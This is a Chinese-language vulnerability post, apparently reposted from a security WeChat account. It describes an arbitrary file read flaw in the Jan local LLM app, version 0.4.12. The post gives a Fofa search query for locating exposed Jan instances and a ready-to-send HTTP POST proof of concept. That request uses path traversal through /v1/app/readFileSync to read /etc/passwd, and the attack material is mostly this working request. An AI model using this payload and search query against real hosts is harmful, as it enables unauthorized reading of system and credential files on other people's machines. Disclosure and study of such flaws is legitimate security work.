Jan 任意文件读取/下载(AFR/AFD) 漏洞

[免责声明]

[介绍]

Jan 是 ChatGPT 的开源替代品，可在您的计算机上 100% 离线运行。多引擎支持（llama.cpp、TensorRT-LLM）。

项目地址

• 官方网站：https://jan.ai

• GitHub：https://github.com/janhq/jan

[漏洞描述]

Jan的API接口readFileSync未过滤参数，导致存在任意文件读/下载漏洞。

[受影响的版本]

• 0.4.12 最新

[搜索语法]

Fofa

• icon_hash="-165268926"

[漏洞原理和复现]

/v1/app/existsSync接口可以判断文件是否存在：

/v1/app/readFileSync接口可以读取或下载任意文件：

[Poc]

POST /v1/app/readFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close

["file:/../../../../../../etc/passwd","utf-8"]

原文始发于微信公众号（Hack All Sec）：Jan 任意文件读取/下载(AFR/AFD) 漏洞